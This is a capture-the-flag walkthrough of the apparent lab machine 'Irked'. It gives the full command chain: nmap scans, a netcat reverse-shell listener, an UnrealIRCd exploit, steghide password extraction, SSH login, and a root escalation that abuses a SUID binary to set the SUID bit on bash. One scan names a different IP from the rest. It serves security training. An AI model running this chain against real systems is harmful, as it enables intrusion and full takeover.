search

Irked

hashtag
Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.117 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

As we see, a few ports are open.

Let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,80,111,6697,8067,38336,65534 10.10.10.143 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

hashtag
Exploitation

There is an IRC server. If you search for UnrealIRCd exploits on Google. You'll find an exploitarrow-up-right coded in python which sends back to a listener a reverse shell. Before executing the exploit, let's set a netcat listener on port 4444.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Then, we'll have to edit the exploit and add our IP address, and the port in which netcat will be listening.

Then all we have to do is execute the script with python, and we'll get a shell as the ircd user, but we won't be able to see the user flag yet.

python3 exploit.py -payload python 10.10.10.117 6697

hashtag
Privilege Escalation

If we take a look at the home directory, we'll see that we can list the djmardov home directory. And we see that there is a .backup file in the user's desktop.

ls -la /home/djmardov/Documents/

If we see what's inside, we'll see a password and a message saying that the password is for steg (Steganography).

cat /home/djmardov/Documents/.backup

If you noticed at the nmap scan, there is a website which has an image. Maybe that image has a secret message hide in it.

Let's download the image and use steghide.

steghide extract -sf irked.jpg

  • -sf select steg file.

And we get a password.

cat pass.txt

The machine also has an SSH service, let's try to log in as the user djmardov with the found password. Then we could grab the user flag.

ssh djmardov@10.10.10.117

Let's see if there is any SUID binary we can exploit.

find / -perm /4000 2>/dev/null

The /usr/bin/viewuser binary seems a bit odd. Let's execute it.

/usr/bin/viewuser

The binary is trying to execute a file in the tmp directory, which doesn't exist. We can create that file which will give the /bin/bash binary the SUID permission, so we can have a shell as the root user.

nano /tmp/listusers

chmod +x /tmp/listusers

If we execute the viewuser binary again, it will execute our malicious script and the bash binary will have the SUID permission.

Finally, if we execute bash with the privileged mode, then all we have to do is reap the harvest and take the root flag.

bash -p

Last updated

Was this helpful?